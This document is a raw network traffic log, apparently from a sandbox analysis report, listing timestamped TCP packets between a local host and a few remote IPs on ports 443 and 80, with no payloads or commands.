Oct 29, 2024 13:09:00.771949053 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.772418976 CET	60612	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.772424936 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.772888899 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.773391008 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.773416042 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.773847103 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.773859024 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.793620110 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.794140100 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.794167995 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.794603109 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.794609070 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.820123911 CET	60615	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:00.825599909 CET	80	60615	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:00.825685024 CET	60615	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:00.825922012 CET	60615	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:00.831259012 CET	80	60615	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:00.901551962 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.901635885 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.901828051 CET	60612	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.901953936 CET	60612	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.901972055 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.901982069 CET	60612	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.901987076 CET	443	60612	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.903994083 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.904030085 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.904083967 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.904139042 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.904253960 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.904253960 CET	60610	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.904278994 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.904301882 CET	443	60610	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.905273914 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.905308008 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.905455112 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.905647993 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.905658960 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.906660080 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.906697035 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.906940937 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.907064915 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.907074928 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.924535990 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.924602032 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.924653053 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.924709082 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.924853086 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.924875021 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.924885035 CET	60611	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.924890041 CET	443	60611	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.927671909 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.927680016 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:00.927762032 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.927920103 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:00.927926064 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.357620955 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.358099937 CET	60613	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.358125925 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.358572006 CET	60613	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.358578920 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.370187998 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.370620966 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.370650053 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.371150970 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.371197939 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.500514984 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.500592947 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.500873089 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.502129078 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.502151966 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.502170086 CET	60614	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.502177000 CET	443	60614	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.510881901 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.510934114 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.511003971 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.511368990 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.511384964 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.514235020 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.514319897 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.514962912 CET	60613	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.520275116 CET	60613	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.520293951 CET	443	60613	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.523587942 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.523674011 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.523823023 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.524144888 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.524178028 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.642075062 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.642700911 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.642728090 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.643306971 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.643311024 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.657669067 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.658233881 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.658255100 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.658766985 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.658771038 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.673923016 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.674496889 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.674505949 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.675041914 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.675045967 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.755189896 CET	80	60615	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:01.755228996 CET	80	60615	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:01.755255938 CET	60615	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:01.755291939 CET	60615	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:01.755698919 CET	60615	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:01.755723953 CET	60615	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:01.774508953 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.774579048 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.774681091 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.775012016 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.775033951 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.775048018 CET	60616	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.775053978 CET	443	60616	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.779352903 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.779392004 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.779934883 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.779934883 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.779974937 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.789426088 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.789540052 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.789597988 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.789623976 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.789673090 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.789885044 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.789905071 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.789916992 CET	60617	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.789928913 CET	443	60617	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.792546988 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.792592049 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.792694092 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.792850018 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.792864084 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.806339979 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.806431055 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.806605101 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.806636095 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.806636095 CET	60618	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.806647062 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.806658030 CET	443	60618	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.809434891 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.809463978 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:01.809622049 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.809822083 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:01.809833050 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.396481991 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.397046089 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.397062063 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.397829056 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.397838116 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.399605036 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.399975061 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.400022030 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.400477886 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.400485039 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.526556969 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.526659012 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.527012110 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.536490917 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.536919117 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.539982080 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.540332079 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.541281939 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.541388988 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.582839966 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.582844973 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.582844973 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.707432032 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.707462072 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.740674019 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.740693092 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.743792057 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.743792057 CET	60619	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.743813992 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.743824959 CET	443	60619	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.743887901 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.743933916 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.743992090 CET	60620	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.744014025 CET	443	60620	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.756025076 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.756064892 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.756438017 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.756452084 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.756661892 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.756685972 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.756962061 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.756968975 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.822273970 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.822309017 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.822371960 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.823388100 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.823402882 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.824322939 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.824357033 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.824419975 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.824644089 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.824656963 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.829752922 CET	60626	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:02.835850954 CET	80	60626	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:02.835926056 CET	60626	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:02.844604015 CET	60626	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:02.850233078 CET	80	60626	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:02.871742964 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.871882915 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.873966932 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.881308079 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.881390095 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.881463051 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.884598970 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.884761095 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.884825945 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.929518938 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.929543972 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.929634094 CET	60621	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.929644108 CET	443	60621	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.931597948 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.931597948 CET	60623	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.931607008 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.931617022 CET	443	60623	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.932641029 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.932678938 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.932713032 CET	60622	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.932728052 CET	443	60622	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.937762022 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.937783957 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.937838078 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.939294100 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.939340115 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.939443111 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.940022945 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.940033913 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.944627047 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.944672108 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.944745064 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.944889069 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.944905996 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:02.945050955 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:02.945080042 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.563996077 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.564629078 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.564671040 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.565363884 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.565376997 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.571676970 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.572274923 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.572304010 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.573549986 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.573573112 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.683579922 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.684145927 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.684165001 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.684166908 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.684689045 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.684688091 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.684694052 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.684714079 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.685156107 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.685162067 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.685704947 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.686021090 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.686058044 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.686399937 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.686408043 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.695064068 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.695132017 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.695199966 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.695331097 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.695331097 CET	60624	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.695357084 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.695372105 CET	443	60624	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.698185921 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.698218107 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.698295116 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.698431015 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.698443890 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.704989910 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.705013990 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.705061913 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.705066919 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.705116987 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.705264091 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.705281973 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.705293894 CET	60625	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.705300093 CET	443	60625	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.707474947 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.707532883 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.707614899 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.707746029 CET	60631	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.707775116 CET	443	60631	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.793977976 CET	80	60626	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:03.794009924 CET	80	60626	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:03.794043064 CET	60626	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:03.794065952 CET	60626	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:03.794677973 CET	60626	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:03.794693947 CET	60626	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:03.814604044 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.814694881 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.814707994 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.814759016 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.814768076 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.814883947 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.814909935 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.814948082 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.814979076 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.815011024 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.815037966 CET	60629	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.815056086 CET	443	60629	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.815151930 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.815151930 CET	60628	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.815166950 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.815175056 CET	443	60628	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.817838907 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.817914009 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.818077087 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.818367958 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.818407059 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.818624973 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.819319010 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.819346905 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.819411039 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.819531918 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.819540977 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.819554090 CET	60627	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.819560051 CET	443	60627	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.824455976 CET	60632	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.824472904 CET	443	60632	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.824693918 CET	60633	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.824704885 CET	443	60633	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.825839043 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.825850010 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:03.826050043 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.826154947 CET	60634	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:03.826165915 CET	443	60634	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.431627035 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.433126926 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.433140993 CET	443	60630	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:04.433543921 CET	60630	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:04.433549881 CET	443	60630	13.107.246.45	192.168.2.5
